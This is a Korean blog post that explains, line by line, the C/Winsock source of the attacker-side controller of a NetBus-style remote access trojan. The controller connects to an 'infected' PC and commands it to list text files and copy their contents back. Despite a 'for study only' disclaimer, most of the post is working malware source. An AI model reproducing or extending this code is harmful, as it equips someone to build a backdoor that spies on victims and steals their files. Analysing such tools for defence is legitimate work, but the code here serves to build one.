안녕하십니까 이번 포스팅에서는 넷버스(공격자) 소스 코드를 포스팅하겠습니다.
다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.
1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.
2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.
3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.
자 이제 한 번 코드를 하나씩 살펴봅시다.
- #include <winsock2.h>
윈도우 소켓과 관련된 함수를 쓰기 위해 윈속 헤더파일을 선언합니다.
- #pragma comment(lib, "Ws2_32.lib")
소켓 관련 라이브러리인 Ws2_32.lib을 링커에 추가합니다.
- #define connectbutton 1
#define filefindbutton 2
#define capturebutton 3
#define filecopybutton 4
넷버스에 쓰이는 버튼들의 ID를 define문으로 정의합니다.
#define WM_SOCKET WM_USER+1
소켓 관련 메세지를 받기 위해 WM_SOCKET이란 메세지를 WM_USER를 이용하여 정의합니다. 이 때 WM_USER은 사용자가 메세지를 정의할 때 사용하며 기본값은 400입니다. 즉 위의 WM_SOCKET을 디버깅으로 살펴보면 401로 정의되어집니다.
typedef struct SR_Str
{
char str[100];
char str2[256];
char txtStrings[500][256];
int size;
char string[500000];
}SR_String;
소켓 통신에 사용할 메세지를 구조체로 정의합니다. 각각 다른 메세지를 받아 통신을 함으로써 처리를 다양하게 해주기 위해 선언하였습니다.
각 멤버변수의 역할은 다음과 같습니다.
str1 -> 받은 명령을 구분할 때 사용합니다.
str2 -> 256 이하의 문자열을 처리할때 사용합니다.
txtStrings -> 파일들의 경로를 저장받기 위한 배열(최대 500개, 경로 문자열 제한은 256)입니다.
size -> 파일 크기를 받는 멤버인데 현재 코드에서는 직접적으로 사용하지 않습니다.
string -> 파일의 내용을 복사할 때 파일의 내용을 저장받기 위한 배열이며 최대 50만 바이트까지 저장할 수 있습니다.
- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);
BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);
윈도우 프로시저와 대화상자 프로시저를 선언합니다.
- void Sconnect(char *address,int port);
int _strcmp(char *str1);
void createTXT(char str[][256]);
void copyTXT(void);
앞에서 설명드린 함수들을 선언합니다.
- HWND G_connectB,G_combobox,G_CResult,G_Port,G_findfile,G_Capture,G_fileCopy;
넷버스에 쓰인 버튼들의 핸들을 저장하기 위해 전역변수로 선언합니다.
- HWND G_Mainhwnd,G_filefindDlg,G_fileCopyDlg;
메인 윈도우의 핸들과 대화상자의 핸들들을 저장하기 위해 전역변수로 선언합니다.
- HINSTANCE G_hInstance;
WinMain의 HINSTANCE 인자값을 전역변수로 쓰기 위해 사용합니다.
- SOCKET G_Socket;
소켓통신을 위해 소켓형 변수를 전역변수로 선언합니다.
- SR_String G_String;
앞에서 정의한 구조체를 전역변수로 선언합니다.
WinMain의 함수는 딱히 설명할 부분이 없으므로 그냥 생략하겠습니다. WndProc함수를 살펴봅시다.
- HDC hdc;
PAINTSTRUCT ps;
WM_PAINT 메세지에서 코드사용을 위해 선언한 변수들입니다.
- int str_len,Recvstr;
유니코드를 멀티바이트로 변환하기 위한 str_len과 소켓 통신으로 인해 받은 데이터의 크기를 저장할 변수 Recvstr를 선언합니다.
- u_long Mode = 0;
ioctlsocket함수의 인자로 사용하기 위해 Mode란 변수를 선언과 동시에 0으로 값을 줍니다.
- TCHAR Wide_address[100] = L"",CResultStr[100] = L"", TCHAR Port_address[100] = L"";
유니코드로 읽어온 IP주소를 저장할 변수인 Wide_address와 통신의 결과를 출력할 때 쓰일 CResultStr변수, 그리고 유니코드로 읽어온 port값을 저장할 변수인 Port_address를 선언합니다.
- char Mult_address[100] = "";
멀티바이트로 변환한 IP주소를 저장할 변수를 선언합니다.
- case WM_CREATE:
윈도우에서 WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.
- G_Mainhwnd = hWnd;
현재 핸들을 전역변수에 저장시킵니다.
- G_combobox = CreateWindow(L"combobox",NULL,WS_CHILD | WS_VISIBLE | WS_VSCROLL | CBS_DROPDOWN,210,10,150,100,hWnd,NULL,NULL,NULL);
IP주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 콤보박스 윈도우에 사용된 옵션은 다음과 같습니다.
WS_VSCROLL -> CBS_DROPDOWN옵션으로 생성된 버튼을 누를시 목록을 출력
CBS_DROPDOWN -> 콤보박스의 옆에 역삼각형 버튼을 생성
- G_connectB = CreateWindow(L"button",L"Connect",WS_CHILD | WS_VISIBLE,370,40,80,20,hWnd,(HMENU)connectbutton,NULL,NULL);
소켓통신을 시작한다는 명령을 받기 위한 Connect버튼을 생성합니다. 이때 ID는 define에서 정의한 값입니다.
- G_CResult = CreateWindow(L"static",L"NO connection",WS_CHILD | WS_VISIBLE,0,237,455,20,hWnd,NULL,NULL,NULL);
소켓 통신의 결과를 사용자에게 알려주기 위해 static윈도우를 생성합니다. 기본값은 NO connection입니다.
- G_Port = CreateWindow(L"edit",L"12345",WS_CHILD | WS_VISIBLE | WS_BORDER,400,10,50,20,hWnd,NULL,NULL,NULL);
포트주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 기본값은 12345입니다.
- G_findfile = CreateWindow(L"button",L"파일찾기",WS_CHILD | WS_VISIBLE,0,100,105,25,hWnd,(HMENU)filefindbutton,NULL,NULL);
G_Capture = CreateWindow(L"button",L"화면캡쳐",WS_CHILD | WS_VISIBLE,0,130,105,25,hWnd,(HMENU)capturebutton,NULL,NULL);
G_fileCopy = CreateWindow(L"button",L"파일복사",WS_CHILD | WS_VISIBLE,0,160,105,25,hWnd,(HMENU)filecopybutton,NULL,NULL);
감염자의 소켓에 명령을 내리기 위해 사용하는 버튼들을 생성합니다. 이 중 화면캡쳐는 구현하지 않았습니다.
- EnableWindow(G_findfile,FALSE);
EnableWindow(G_Capture,FALSE);
EnableWindow(G_fileCopy,FALSE);
모든 버튼들을 생성시킨 후 감염자의 소켓에 명령을 내리는 버튼들을 비활성화 시킵니다. 이 버튼들은 나중에 감염자와의 통신이 성공하면 활성화 됩니다.
- case WM_DESTROY:
PostQuitMessage(0);
윈도우 창이 파괴되면 프로그램을 종료합니다.
- case WM_COMMAND:
switch(LOWORD(wParam))
각각 버튼을 눌렀을 때의 처리입니다.
- case connectbutton:
감염자와 통신을 시도하기 위해 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.
- SendMessage(G_connectB,WM_GETTEXT,100,(LPARAM)&Wide_address);
G_connectB에 WM_GETTEXT메세지를 보내 현재 버튼에 적용된 텍스트를 가져와 Wide_address에 저장시킵니다.
- if(lstrcmp(Wide_address,L"Connect") == 0)
가져온 텍스트가 Connect일 경우 즉 사용자가 Connect가 적힌 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.
- EnableWindow(G_connectB,FALSE);
connectbutton을 비활성화시킵니다.
- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);
G_combobox로부터 IP주소를 가져와 Wide_address에 저장시킵니다.
- wsprintf(CResultStr,L"connecting to %s...",Wide_address);
Wide_address값을 이용하여 CResultStr배열에 connecting to %s...형식으로 문자열을 저장시킵니다.
- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"connecting");
connectbutton의 텍스트를 connecting으로 바꿉니다.
- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);
G_CResult(static)컨트롤의 문자열을 CResultStr에 저장된 문자열로 수정합니다.
- str_len = WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),NULL,NULL,NULL,NULL);
WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),Mult_address,str_len,NULL,NULL);
유니코드로 저장된 IP주소를 멀티바이트로 변환시켜 Mult_address에 저장합니다.
- SendMessage(G_Port,WM_GETTEXT,100,(LPARAM)Port_address);
G_Port로부터 입력된 포트번호를 가져와 Port_address에 저장시킵니다.
- Sconnect(Mult_address,_wtoi(Port_address));
Sconnect함수를 호출합니다. 이 때 인자는 멀티바이트로 변환된 IP주소와 포트번호입니다. 그런데 여기서 받은 포트번호는 유니코드 문자열이므로 이를 int형으로 바꿔주기 위해 _wtoi함수를 사용하였습니다.
- else
사용자가 connectbutton을 눌렀을 때의 connectbutton텍스트가 Connect가 아닐 경우 아래의 코드를 수행합니다. 즉 이부분은 공격자와 감염자의 연결을 끊는 부분입니다.
- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");
connectbutton의 텍스트를 원래 기본값인 Connect로 복구시킵니다.
- shutdown(G_Socket,SD_SEND);
연결된 소켓에 SD_SEND메세지를 보내 소켓의 연결을 끊습니다.
- closesocket(G_Socket);
WSACleanup();
연결을 끊은 소켓을 종료하고 WSACleanup함수를 호출하여 WSAStartup함수 사용을 중지합니다.
- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");
G_CResult의 문자열을 기본값인 NO connection으로 복구시킵니다.
- EnableWindow(G_findfile,FALSE);
EnableWindow(G_Capture,FALSE);
EnableWindow(G_fileCopy,FALSE);
감염자의 소켓에 명령을 보내는 버튼들을 비활성화합니다.
- case filefindbutton:
DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG1),hWnd,FilefindDlgProc);
감염자의 PC에서 파일을 찾으라는 명령어를 보내기 위해 파일 찾기 버튼을 눌렀을 때해당 대화상자를 호출합니다. 다만 대화상자가 열린 상태에서 메인 윈도우를 조작할 수 없게 하기 위해 모달형 대화상자로 호출하였습니다.
모달형 대화상자를 호출하려면 DialogBox함수를 사용합니다.
- case capturebutton:
화면캡쳐 버튼을 눌렀을 경우의 처리부문인데 아직 구현하지 않았습니다.
- case filecopybutton:
DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG2),hWnd,FilecopyDlgProc);
찾은 파일 경로를 이용하여 파일을 복사시키라는 명령어를 보내기 위해 파일 복사 버튼을 눌렀을 때 해당 대화상자를 모달형으로 호출합니다.
- case WM_SOCKET:
소켓 관련 이벤트를 받았을 때 윈도우는 앞의 WSAAsyncSelect함수에 의해 WM_SOCKET메세지를 발생시키게 됩니다. 이 때 아래의 코드를 수행합니다.
- switch(WSAGETSELECTEVENT(lParam))
lParam값을 WSAGETSELECTEVENT함수를 사용해 이벤트를 추출하고 그 이벤트에 따라 각각의 코드가 수행됩니다.
추가로 설명드리자면 WM_SCOKET메세지를 받았을 경우 wParam은 해당 이벤트가 발생한 소켓을 나타내며 lParam은 발생한 소켓의 이벤트 혹은 에러메세지를 나타냅니다.
- case FD_CONNECT:
FD_CONNECT이벤트가 발생했을 경우 아래의 코드를 수행합니다. FD_CONNECT이벤트는 서버로 연결을 시도했을 때 발생하는 이벤트입니다.
- if(WSAGETSELECTERROR(lParam) == 0)
이번엔 WSAGETSELECTERROR함수를 사용하여 lParam에서 에러를 추출합니다. 만약 아무런 에러가 발생하지 않았다면 해당 소켓이 성공적으로 서버에 연결된 것을 의미하며 아래의 코드를 수행합니다.
- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);
G_combobox컨트롤에서 사용자가 입력한 IP주소 값을 읽어와 Wide_address에 저장시킵니다.
- wsprintf(CResultStr,L"Connected to %s",Wide_address);
Wide_address값을 이용하여 CResultStr배열에 Connected to %s 형식으로 저장시킵니다.
- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);
G_CResult 컨트롤에 문자열을 새로 출력함으로써 연결이 성공적으로 되었다는 것을 사용자에게 알립니다.
- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Cancel");
EnableWindow(G_connectB,TRUE);
연결이 성공적으로 완료되었으므로 G_connectB의 버튼의 텍스트를 Connecting에서 Cancel로 바꾼 후 버튼을 활성화 시킵니다.
- EnableWindow(G_findfile,TRUE);
EnableWindow(G_Capture,TRUE);
EnableWindow(G_fileCopy,TRUE);
감염자와의 연결이 성공적으로 되었으므로 명령을 내릴 수 있도록 버튼들을 활성화시킵니다.
- else
WSAGETSELECTERROR함수를 사용해 추출한 에러값이 0이 아닐 경우에는 소켓 연결이 실패했다는 것을 의미합니다. 이 때에는 아래의 코드를 수행합니다.
- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);
wsprintf(CResultStr,L"Couldn't connect to %s",Wide_address);
IP주소를 가져와 CResultStr에 Couldn't connect to %s 형식으로 문자열을 넣습니다.
- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");
EnableWindow(G_connectB,TRUE);
연결이 실패했으므로 Connecting텍스트가 적힌 버튼을 초기값인 Connect로 수정하고 활성화시킵니다.
- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);
closesocket(G_Socket);
WSACleanup();
사용자에게 연결이 실패했다는 것을 알리고 소켓 사용을 종료합니다.
- case FD_READ:
이번엔 FD_READ 이벤트를 받았을 때의 처리입니다. FD_READ는 상대방의 소켓으로부터 데이터를 받았을 때 발생하는 메세지입니다. 이 때에는 아래의 코드를 수행합니다.
- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,0);
WSAAsyncSelect함수를 다시 호출합니다. 이 때 마지막 인자의 값을 0으로 주어 앞에서 호출한 WSAAsyncSelect함수를 중지시킵니다. 이러한 작업을 해주는 이유는 바로 다음코드에 ioctlsocket함수를 호출하기 위해서입니다.
- ioctlsocket(G_Socket,FIONBIO,&Mode);
ioctlsocket함수를 호출합니다. ioctlsocket함수를 살펴봅시다.
해당 소켓의 입출력모드를 제어하는 함수라고 되어있습니다. 쉽게 얘기하면 소켓의 동작 방식을 지정해주는 함수라고 보시면 됩니다.
기본적으로 소켓은 블로킹 방식 혹은 비블로킹 방식으로 작동합니다. 간단하게 두 방식의 특징을 살펴봅시다.
먼저 블로킹 방식이란 소켓으로 통신을 시도할 때 다른 작업을 할 수 없도록 하는 방식입니다. 예를 들면 소켓이 통신을 시도하고 있는 중이라면 메인 윈도우의 닫기 작업을 수행할 수 없다는 것이지요. 즉 스레드가 대기상태가 되버립니다.
반대로 비블로킹 방식은 소켓이 통신을 시도할 때 다른 작업을 할 수 있도록 하는 방식입니다. 그리고 이 방식은 WSAAsyncSelect함수를 호출할 때 자동으로 소켓에 지정되는 방식입니다.
자 그렇다면 ioctlsocket함수는 무엇일까요? 이 함수는 소켓을 블로킹모드 혹은 비블로킹모드로 설정해주는 함수라고 보시면 됩니다. 두 번째 인자에서 FIONBIO값을 주면 해당 소켓의 동작 방식을 바꿀수가 있으며 세번째 인자의 값이 0이면 블로킹모드, 0이 아니면 비블로킹모드로 바꿔집니다. 다만 세번째 인자는 포인터값을 받으므로 0값이 저장된 변수를 선언하여 그 변수의 포인터값을 인자로 주었습니다.
그리고 이 함수는 좀 특별한 특징을 가지고 있는데 그 특징은 다음과 같습니다.
1. WSAAsyncSelect함수나 WSAEventSelect함수가 호출 된 후 시도하는 모든 ioctlsocket함수는 실패합니다.
2. 1번의 문제를 해결할려면 WSAAsyncSelect함수의 네번째 인자를 0으로 준 뒤 한 번 더 호출한 후 ioctlsocket함수를 호출하여야합니다.
얘기가 조금 길어졌습니다만 최종적으로 정리하면 이 코드는 해당 소켓을 블로킹모드로 바꾸어주는 역할을 합니다. 왜 소켓을 블로킹 모드로 바꾸는지는 recv함수에서 설명드리겠습니다.
- memset(&G_String,0,sizeof(G_String));
앞에서 선언한 구조체를 초기화시킵니다.
- Recvstr = recv(G_Socket,(char *)&G_String,sizeof(G_String),MSG_WAITALL);
recv함수를 사용하여 해당 소켓이 받은 데이터를 읽습니다. 이 recv함수를 살펴봅시다.
말그대로 소켓에 들어온 데이터를 받는 함수입니다. 즉 상대방 측에서 send함수를 사용하여 소켓에 데이터를 보내면 받는 쪽에서는 recv함수를 사용하여 데이터를 받는 것입니다. 이 때 받은 데이터를 저장하는 변수는 2번째 인자이며 char형으로 받습니다. 세번째 인자는 2번째 인자의 크기이며 네번째 인자는 관련된 옵션을 지정해 줄 수가 있습니다.
여기서 중요한 것은 2번째 인자가 char형이라서 char형 변수만 인자로 쓸수 있는 것은 아니라 구조체 같은 변수도 강제형변환을 해서 받을 수가 있습니다. 다만 이 경우에는 보내는 쪽에서도 같은 구조체 형식으로 데이터를 보내야 합니다. 우리는 이 방식을 이용해 통신을 할 것입니다.
또 하나를 더 살펴봐야 할 부분이 있는데 그것은 네번째 인자의 MSG_WAITALL값입니다. 이 값을 설명하기 전에 TCP 통신의 특징을 한 번 살펴봅시다.
보통 TCP 소켓 통신은 스트림으로 이루어집니다. 이 때 스트림의 특징은 경계가 없다는 것인데 이게 문제가 되는 것이 뭐냐면 송신자 측에서 수신자 측으로 10바이트의 데이터를 보낸다면 수신자측에서는 10바이트 데이터를 한번에 받을 수도 있고 못받을 수도 있다는 것이지요.
즉
10 바이트 전송 -> 10 바이트 받음
10 바이트 전송 -> 5 바이트 받음 -> 5바이트 받음
10 바이트 전송 -> 1 바이트 받음 -> 9바이트 받음
이런 식이 된다는 뜻입니다. 경계가 없기 때문에 데이터를 얼만큼 받아야 하는지 모르는 것이지요. 이를 프로그래밍으로 다시 한번 살펴본다면
send(10바이트) -> recv(10바이트)
send(10바이트) -> recv(5바이트) -> recv(5바이트)
send(10바이트) -> recv(1바이트) -> recv(9바이트)
가 되겠군요. 그래서 보통은 반복문을 사용하여 데이터를 다 받을 때까지 recv를 호출할 수 있도록 프로그래밍을 하지만 우리는 구조체를 이용해 통신을 하기 때문에 이런 방법도 통하지 않습니다. 이 때 필요한 것이 바로 recv 네번째 인자의 옵션인 MSG_WAITALL입니다.
이 MSG_WAITALL 옵션은 데이터를 MSDN에도 설명이 나와있습니다만 간단히 설명드리자면 recv함수를 호출할 때 제공한 버퍼의 데이터가 꽉 찼을 경우에만 recv 함수가 완료되도록 하는 기능입니다. 지금의 우리에게 필요한 기능이지요. 다만 이 옵션을 사용할려면 해당 소켓의 모드가 블로킹방식이어야 합니다. 그래서 우리는 이 옵션을 사용하기 위해 앞의 ioctlsocket함수를 호출하여 소켓을 블로킹모드로 지정한 것입니다.
설명이 길어졌군요. 다음 코드를 살펴봅시다.
- if(Recvstr < 0)
break;
recv함수로 받은 데이터의 크기값이 0보다 작을 경우 에러가 발생한 것이므로 switch문을 탈출합니다.
- switch(_strcmp(G_String.str))
데이터를 받았으므로 그 데이터에 따라 처리를 다르게 해주기 위해 switch문을 사용하였습니다. 이 때 구분하는 값은 G_String의 str멤버변수를 인자로 받는 _strcmp함수의 반환값입니다.
- case 0:
createTXT(G_String.txtStrings);
G_String.str의 문자열이 "filefind - txt" 인 경우 createTXT함수를 호출합니다. 이 때 인자는 감염자의 PC로부터 가져온 텍스트 파일들의 경로입니다.
- case 1:
G_String.str의 문자열이 "filecopy - getTXTsize" 인 경우의 처리부문이지만 아직 구현하진 않았습니다.
- case 2:
copyTXT();
G_String.str의 문자열이 "filecopy - txtcopycomplete" 인 경우 copyTXT함수를 호출합니다.
- case 3:
MessageBox(G_fileCopyDlg,L"파일의 크기가 0 혹은 너무 커 복사가 불가능합니다.",L"파일 복사 실패",MB_OK);
EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);
G_String.str의 문자열이 "filecopy - sizeError" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.
- case 4:
MessageBox(G_fileCopyDlg,L"해당 파일이 삭제되었거나 파일경로가 잘못되었습니다.",L"파일 복사 실패",MB_OK);
EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);
G_String.str의 문자열이 "filecopy - txtnotfound" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.
- case 5:
MessageBox(G_fileCopyDlg,L"해당 파일의 접근이 거부되었습니다.",L"파일 복사 실패",MB_OK);
EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);
G_String.str의 문자열이 "filecopy - ACCESS_DENIED" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.
- case 999:
그 외의 메세지인 경우 아무런 처리를 하지 않습니다.
- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);
받은 메세지를 다 처리한 경우 다시 이벤트를 받기 위해 WSAAsyncSelect함수를 호출합니다. 이 때 소켓은 다시 비블로킹 동작으로 지정됩니다.
- case FD_CLOSE:
FD_CLOSE 이벤트를 받았을 경우 아래의 코드를 수행합니다. FD_CLOSE 이벤트는 서버와의 연결이 끊겼을 때 발생하는 이벤트입니다.
- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");
SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");
G_connectB버튼과 결과창의 텍스트를 초기화시킵니다.
- closesocket(G_Socket);
WSACleanup();
EnableWindow(G_findfile,FALSE);
EnableWindow(G_Capture,FALSE);
EnableWindow(G_fileCopy,FALSE);
소켓의 사용을 종료하고 명령을 내리는 버튼들을 비활성화시킵니다.
- EndDialog(G_filefindDlg,NULL);
EndDialog(G_fileCopyDlg,NULL);
만약 열려진 대화상자가 있으면 종료시킵니다.
- case WM_PAINT:
hdc = BeginPaint(hWnd,&ps);
TextOut(hdc,363,12,L"포트:",lstrlen(L"포트:"));
EndPaint(hWnd,&ps);
WM_PAINT메세지에선 포트 라는 글자를 출력합니다.
- BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)
이번에는 파일 찾기 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.
- switch(Message)
case WM_INITDIALOG:
G_filefindDlg = hWnd;
생성될 때 대화상자의 핸들을 전역변수에 저장시킵니다.
- case WM_COMMAND:
switch(wParam)
case txt:
EnableWindow(GetDlgItem(hWnd,txt),FALSE);
memset(&G_String,0,sizeof(G_String));
strcpy(G_String.str,"filefind - txt");
send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);
대화상자의 txt버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 str멤버변수에 filefind - txt문자열을 넣고 send함수를 이용하여 감염자 소켓으로 데이터를 전송합니다. send함수 또한 recv랑 비슷한 인자입니다.
- case WM_CLOSE:
EndDialog(hWnd,NULL);
닫기버튼을 누르면 대화상자를 종료합니다.
- BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)
이번엔 파일 복사 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.
- TCHAR str3[256] = L"";
int str_len;
사용자로부터 입력 받은 경로를 저장할 변수 str3과 그 문자열을 멀티바이트로 변환시킬 때 필요한 변수 str_len을 선언합니다.
- case WM_COMMAND:
switch(wParam)
case copy:
EnableWindow(GetDlgItem(hWnd,copy),FALSE);
memset(&G_String,0,sizeof(G_String));
SendDlgItemMessage(hWnd,copypath,WM_GETTEXT,255,(LPARAM)str3);
str_len = WideCharToMultiByte(949,NULL,str3,lstrlen(str3),NULL,NULL,NULL,NULL);
WideCharToMultiByte(949,NULL,str3,lstrlen(str3),G_String.str2,str_len,NULL,NULL);
대화상자의 copy버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 copypath로부터 경로 문자열을 가져와 str3에 저장시킨 후 멀티바이트로 변환시켜 str2멤버변수에 저장시킵니다.
- strcpy(G_String.str,"filecopy - txt");
str멤버변수에 filecopy - txt를 넣습니다.
- send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);
해당 구조체를 감염자 소켓으로 전송합니다.
네 여기까지가 넷버스 코드의 마지막 부분이었습니다. 다음 포스팅에서는 감염자의 PC에서 실행되는 패치의 코드를 살펴봅시다.